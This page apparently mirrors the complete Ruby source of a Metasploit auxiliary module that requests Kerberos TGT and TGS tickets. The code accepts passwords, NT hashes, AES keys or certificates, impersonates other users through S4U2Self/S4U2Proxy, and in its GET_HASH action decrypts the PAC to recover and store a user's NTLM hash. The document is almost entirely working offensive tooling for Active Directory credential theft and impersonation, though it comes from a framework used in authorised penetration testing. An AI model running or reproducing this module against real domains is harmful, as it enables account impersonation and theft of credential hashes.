Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos8include Msf::Exploit::Remote::Kerberos::Client9include Msf::Exploit::Remote::Kerberos::Ticket::Storage1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Kerberos TGT/TGS Ticket Requester',16'Description' => %q{17This module requests TGT/TGS Kerberos tickets from the KDC18},19'Author' => [20'Christophe De La Fuente', # Metasploit module21'Spencer McIntyre', # Metasploit module22# pkinit authors23'Will Schroeder', # original idea/research24'Lee Christensen', # original idea/research25'Oliver Lyak', # certipy implementation26'smashery' # Metasploit module27],28'License' => MSF_LICENSE,29'Notes' => {30'AKA' => ['getTGT', 'getST'],31'Stability' => [ CRASH_SAFE ],32'SideEffects' => [ ],33'Reliability' => [ ]34},35'Actions' => [36[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],37[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],38[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]39],40'DefaultAction' => 'GET_TGT',41'AKA' => ['PKINIT']42)43)4445register_options(46[47OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),48OptString.new('USERNAME', [ false, 'The domain user' ]),49OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),50OptPath.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),51OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),52OptString.new(53'NTHASH', [54false,55'The NT hash in hex string. Server must support RC4'56]57),58OptString.new(59'AES_KEY', [60false,61'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'62]63),64OptString.new(65'SPN', [66false,67'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'68],69conditions: %w[ACTION == GET_TGS]70),71OptString.new(72'IMPERSONATE', [73false,74'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',75],76conditions: %w[ACTION == GET_TGS]77),78OptPath.new(79'Krb5Ccname', [80false,81'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'82],83conditions: %w[ACTION == GET_TGS]84),85]86)8788deregister_options('KrbCacheMode')89end9091def validate_options92if datastore['CERT_FILE'].present?93certificate = File.read(datastore['CERT_FILE'])94begin95@pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '')96rescue OpenSSL::PKCS12::PKCS12Error => e97fail_with(Failure::BadConfig, "Unable to parse certificate file (#{e})")98end99100if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?101fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')102elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?103fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')104end105106begin107@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])108rescue ArgumentError => e109fail_with(Failure::BadConfig, e.message)110end111else # USERNAME and DOMAIN are required when they can't be extracted from the certificate112@username = datastore['USERNAME']113fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?114115@realm = datastore['DOMAIN']116fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?117end118119if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)120fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')121end122123if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)124fail_with(Failure::BadConfig,125'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')126end127128if action.name == 'GET_TGS' && datastore['SPN'].blank?129fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")130end131132if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?133fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")134end135136if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})137fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')138end139end140141def run142validate_options143144send("action_#{action.name.downcase}")145146report_service(147host: rhost,148port: rport,149proto: 'tcp',150name: 'kerberos',151info: "Module: #{fullname}, KDC for domain #{@realm}"152)153rescue ::Rex::ConnectionError => e154elog('Connection error', error: e)155fail_with(Failure::Unreachable, e.message)156rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,157::EOFError => e158msg = e.to_s159if e.respond_to?(:error_code) &&160e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED161msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'162end163fail_with(Failure::Unknown, msg)164end165166def init_authenticator(options = {})167options.merge!({168host: rhost,169realm: @realm,170username: @username,171pfx: @pfx,172framework: framework,173framework_module: self174})175options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?176if datastore['NTHASH'].present?177options[:key] = [datastore['NTHASH']].pack('H*')178options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]179end180if datastore['AES_KEY'].present?181options[:key] = [ datastore['AES_KEY'] ].pack('H*')182options[:offered_etypes] = if options[:key].size == 32183[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]184else185[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]186end187end188189Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)190end191192def action_get_tgt193print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")194195# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made196authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })197authenticator.request_tgt_only198end199200def action_get_tgs201authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })202tgt_request_options = {}203if datastore['Krb5Ccname'].present?204tgt_request_options[:cache_file] = datastore['Krb5Ccname']205end206credential = authenticator.request_tgt_only(tgt_request_options)207208if datastore['IMPERSONATE'].present?209print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")210211sname = Rex::Proto::Kerberos::Model::PrincipalName.new(212name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,213name_string: [@username]214)215auth_options = {216sname: sname,217impersonate: datastore['IMPERSONATE']218}219tgs_ticket, _tgs_auth = authenticator.s4u2self(220credential,221auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))222)223224auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(225name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,226name_string: datastore['SPN'].split('/')227)228auth_options[:tgs_ticket] = tgs_ticket229authenticator.s4u2proxy(credential, auth_options)230else231print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")232233sname = Rex::Proto::Kerberos::Model::PrincipalName.new(234name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,235name_string: datastore['SPN'].split('/')236)237tgs_options = {238sname: sname,239ticket_storage: kerberos_ticket_storage(read: false)240}241242authenticator.request_tgs_only(credential, tgs_options)243end244end245246def action_get_hash247authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })248auth_context = authenticator.authenticate_via_kdc(options)249credential = auth_context[:credential]250251print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")252253session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(254type: credential.keyblock.enctype.value,255value: credential.keyblock.data.value256)257258tgs_ticket, _tgs_auth = authenticator.u2uself(credential)259260ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(261tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)262)263value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value264pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)265pac_info_buffer = pac.pac_info_buffers.find do |buffer|266buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION267end268unless pac_info_buffer269print_error('NTLM hash not found in PAC')270return271end272273serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])274ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash275print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")276277report_ntlm(ntlm_hash)278end279280def report_ntlm(hash)281jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)282service_data = {283address: rhost,284port: rport,285service_name: 'kerberos',286protocol: 'tcp',287workspace_id: myworkspace_id288}289credential_data = {290module_fullname: fullname,291origin_type: :service,292private_data: hash,293private_type: :ntlm_hash,294jtr_format: jtr_format,295username: @username,296realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,297realm_value: @realm298}.merge(service_data)299300credential_core = create_credential(credential_data)301302login_data = {303core: credential_core,304status: Metasploit::Model::Login::Status::UNTRIED305}.merge(service_data)306307create_credential_login(login_data)308end309end310311312